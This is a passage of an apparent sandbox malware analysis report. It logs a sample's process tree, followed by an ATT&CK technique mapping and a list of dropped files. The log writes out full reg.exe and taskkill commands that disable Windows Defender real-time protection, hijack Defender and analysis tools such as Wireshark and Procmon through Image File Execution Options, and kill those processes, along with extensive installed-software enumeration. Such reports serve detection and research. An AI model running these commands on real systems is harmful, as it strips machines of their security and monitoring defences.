"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3376

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:3836

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3640

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:2072

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3752

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:60

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3876

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2772

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2192

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2160

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:812

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:64
3⤵
- Checks for installed software on the system
PID:3264

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:32
3⤵
- Checks for installed software on the system
PID:1724

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F
2⤵
- Kills process with taskkill
PID:752

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2764

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:720

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:396

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:816

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:60

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1788

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3348

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
- Checks for installed software on the system
PID:3768

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
- Checks for installed software on the system
PID:1032

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F
2⤵
- Kills process with taskkill
PID:3836

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2652

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:64
3⤵
- Checks for installed software on the system
PID:748

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:32
3⤵
PID:3752

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1616

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:64
3⤵
PID:3640

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:32
3⤵
PID:2200

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1088

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:64
3⤵
PID:4004

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:32
3⤵
PID:816

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2256

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:64
3⤵
PID:1572

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:32
3⤵
PID:1596

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1812

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:64
3⤵
PID:1132

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:32
3⤵
PID:1344

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F
2⤵
- Kills process with taskkill
PID:1540

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2340

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:64
3⤵
PID:2772

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:32
3⤵
PID:864

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3556

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:64
3⤵
PID:3836

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:32
3⤵
PID:1180

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:748

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:64
3⤵
PID:2872

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:32
3⤵
PID:1932

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4004

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:64
3⤵
PID:1560

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:32
3⤵
PID:2420

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1780

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:64
3⤵
PID:3740

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:32
3⤵
PID:864

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3000

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:64
3⤵
PID:1376

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:32
3⤵
PID:996

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1180

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:64
3⤵
- Checks for installed software on the system
PID:2200

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:32
3⤵
PID:3928

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1132

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:64
3⤵
- Checks for installed software on the system
PID:3004

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:32
3⤵
PID:996

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:3852

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:64

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:64
3⤵
PID:2112

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:32
3⤵
PID:3164

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1824

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:64
3⤵
- Checks for installed software on the system
PID:4068

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:32
3⤵
PID:3808

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:860

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:64
3⤵
PID:996

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:32
3⤵
PID:1340

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2144

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:64
3⤵
- Checks for installed software on the system
PID:2768

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:32
3⤵
PID:2160

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F
2⤵
- Kills process with taskkill
PID:3564

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3744

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:64
3⤵
PID:1812

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:32
3⤵
PID:1780

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2800

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:64
3⤵
- Checks for installed software on the system
PID:60

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:32
3⤵
PID:2164

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3864

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:64
3⤵
- Checks for installed software on the system
PID:1352

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:32
3⤵
PID:812

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3828

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:64
3⤵
- Checks for installed software on the system
PID:3388

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:32
3⤵
PID:3832

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3464

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:64
3⤵
- Checks for installed software on the system
PID:1828

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:32
3⤵
PID:4068

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1376

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:64
3⤵
- Checks for installed software on the system
PID:1144

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:32
3⤵
PID:3036

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2768

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:64
3⤵
- Checks for installed software on the system
PID:3820

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:32
3⤵
PID:3768

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1088

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:64
3⤵
- Checks for installed software on the system
PID:3564

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:32
3⤵
PID:3732

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4004

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:2248

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:2112

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:2252

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1068

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:2180

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:3920

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2160

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:3768

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:3472

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:60

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:64
3⤵
- Checks for installed software on the system
PID:1472

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:32
3⤵
PID:3912

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3900

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:64
3⤵
- Checks for installed software on the system
PID:2180

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:32
3⤵
PID:1928

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2984

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:64
3⤵
- Checks for installed software on the system
PID:2248

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:32
3⤵
PID:1624

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2036

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:64
3⤵
PID:3692

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:32
3⤵
- Checks for installed software on the system
PID:1624

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4120

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:64
3⤵
PID:4156

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:32
3⤵
PID:4176

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4216

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:64
3⤵
PID:4252

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:32
3⤵
PID:4272

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4292

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:64
3⤵
PID:4328

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:32
3⤵
PID:4348

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4384

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:64
3⤵
PID:4456

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:32
3⤵
PID:4508

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F
2⤵
- Kills process with taskkill
PID:4468

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4532

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:64
3⤵
PID:4588

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:32
3⤵
PID:4612

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4628

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:64
3⤵
PID:4668

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:32
3⤵
PID:4688

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4708

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:64
3⤵
PID:4744

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:32
3⤵
PID:4764

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4784

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:64
3⤵
PID:4820

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:32
3⤵
- Checks for installed software on the system
PID:4840

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4860

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:64
3⤵
PID:4896

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:32
3⤵
- Checks for installed software on the system
PID:4916

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4936

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:64
3⤵
PID:4972

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:32
3⤵
- Checks for installed software on the system
PID:4992

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:5012

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:64
3⤵
PID:5048

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:32
3⤵
- Checks for installed software on the system
PID:5068

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:5088

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:64
3⤵
PID:3768

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:32
3⤵
- Checks for installed software on the system
PID:4136

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
2⤵
- Kills process with taskkill
PID:4184

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:4288

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:4488

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:4588

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:4524

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:1484

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F
2⤵
- Kills process with taskkill
PID:1184

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F
2⤵
- Kills process with taskkill
PID:1780

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Hidden Files and Directories

T1158

Disabling Security Tools

T1089

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\.ntusernt.ini

Download Submit
C:\Users\Admin\LdlkM\Desktop.ini

Download Submit
C:\Users\Admin\LdlkM\lAdax.class

Download Submit
\Users\Admin\AppData\Local\Temp\bpEnFlhNSl684004804698464384.xml

Download Submit
memory/60-72-0x0000000000000000-mapping.dmp

Download
memory/60-84-0x0000000000000000-mapping.dmp

Download
memory/60-154-0x0000000000000000-mapping.dmp

Download
memory/60-184-0x0000000000000000-mapping.dmp

Download
memory/64-137-0x0000000000000000-mapping.dmp

Download
memory/396-61-0x0000000000000000-mapping.dmp

Download
memory/396-81-0x0000000000000000-mapping.dmp

Download
memory/612-71-0x0000000000000000-mapping.dmp

Download
memory/720-80-0x0000000000000000-mapping.dmp

Download
